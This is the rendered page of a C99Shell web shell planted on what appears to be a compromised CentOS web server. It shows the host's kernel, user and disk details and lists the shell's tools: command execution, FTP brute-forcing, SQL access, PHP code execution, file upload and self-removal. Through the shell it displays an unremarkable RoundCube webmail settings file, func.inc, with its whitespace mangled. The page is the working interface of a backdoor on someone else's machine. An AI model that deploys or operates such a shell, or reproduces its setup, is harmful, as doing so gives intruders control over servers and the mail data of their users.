!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/webmail/program/steps/settings/   drwxr-xr-x
Free 9.29 GB of 93.48 GB (9.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     func.inc (4.35 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | program/steps/settings/func.inc                                       |
 |                                                                       |
 | This file is part of the RoundCube Webmail client                     |
 | Copyright (C) 2005-2007, RoundCube Dev. - Switzerland                 |
 | Licensed under the GNU GPL                                            |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide functionality for user's settings & preferences             |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+

 $Id: func.inc 2830 2009-08-03 18:27:53Z alec $

*/

if (!$OUTPUT->ajax_call)
  
$OUTPUT->set_pagetitle(rcube_label('preferences'));

// define sections list
$SECTIONS['general'] = array('id' => 'general''section' => rcube_label('uisettings'));
$SECTIONS['mailbox'] = array('id' => 'mailbox''section' => rcube_label('mailboxview'));
$SECTIONS['compose'] = array('id' => 'compose''section' => rcube_label('messagescomposition'));
$SECTIONS['mailview'] = array('id' => 'mailview','section' => rcube_label('messagesdisplaying'));
$SECTIONS['folders'] = array('id' => 'folders''section' => rcube_label('specialfolders'));
$SECTIONS['server'] = array('id' => 'server',  'section' => rcube_label('serversettings'));


// similar function as /steps/settings/identities.inc::rcmail_identity_frame()
function rcmail_preferences_frame($attrib)
  {
  global 
$OUTPUT;

  if (!
$attrib['id'])
    
$attrib['id'] = 'rcmprefsframe';

  
$attrib['name'] = $attrib['id'];

  
$OUTPUT->set_env('contentframe'$attrib['name']);
  
$OUTPUT->set_env('blankpage'$attrib['src'] ? $OUTPUT->abs_url($attrib['src']) : 'program/blank.gif');
  
  return 
html::iframe($attrib);
  }


function 
rcmail_sections_list($attrib)
  {
  global 
$RCMAIL$SECTIONS;
  
  
// add id to message list table if not specified
  
if (!strlen($attrib['id']))
    
$attrib['id'] = 'rcmsectionslist';

  
// hook + define list cols
  
$plugin $RCMAIL->plugins->exec_hook('list_prefs_sections',
    array(
'list' => $SECTIONS'cols' => array('section')));
        
  
// create XHTML table
  
$out rcube_table_output($attrib$plugin['list'], $plugin['cols'], 'id');

  
// set client env
  
$RCMAIL->output->add_gui_object('sectionslist'$attrib['id']);
  
$RCMAIL->output->include_script('list.js');

  return 
$out;
  }


function 
rcmail_identities_list($attrib)
  {
  global 
$OUTPUT$USER$RCMAIL;

  
// add id to message list table if not specified
  
if (!strlen($attrib['id']))
    
$attrib['id'] = 'rcmIdentitiesList';

  
// get all identites from DB and define list of cols to be displayed
  
$plugin $RCMAIL->plugins->exec_hook('list_identities', array(
    
'list' => $USER->list_identities(),
    
'cols' => array('name''email')));

  
// create XHTML table  
  
$out rcube_table_output($attrib$plugin['list'], $plugin['cols'], 'identity_id');
  
  
// set client env
  
$OUTPUT->add_gui_object('identitieslist'$attrib['id']);

  return 
$out;
  }


// similar function as in /steps/addressbook/edit.inc
function get_form_tags($attrib$action$id null$hidden null)
  {
  global 
$EDIT_FORM$RCMAIL;

  
$form_start $form_end '';
  
  if (empty(
$EDIT_FORM)) {
    
$request_key $action . (isset($id) ? '.'.$id '');
    
$form_start $RCMAIL->output->request_form(array(
    
'name' => 'form''method' => 'post',
    
'task' => $RCMAIL->task'action' => $action,
    
'request' => $request_key'noclose' => true) + $attrib);
    
    if (
is_array($hidden)) {
      
$hiddenfields = new html_hiddenfield($hidden);
      
$form_start .= $hiddenfields->show();
    }
    
    
$form_end = !strlen($attrib['form']) ? '</form>' '';

    
$EDIT_FORM = !empty($attrib['form']) ? $attrib['form'] : 'form';
    
$RCMAIL->output->add_gui_object('editform'$EDIT_FORM);
  }

  return array(
$form_start$form_end);
  }


// register UI objects
$OUTPUT->add_handlers(array(
  
'prefsframe' => 'rcmail_preferences_frame',
  
'sectionslist' => 'rcmail_sections_list',
  
'identitieslist' => 'rcmail_identities_list',
));

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0043 ]--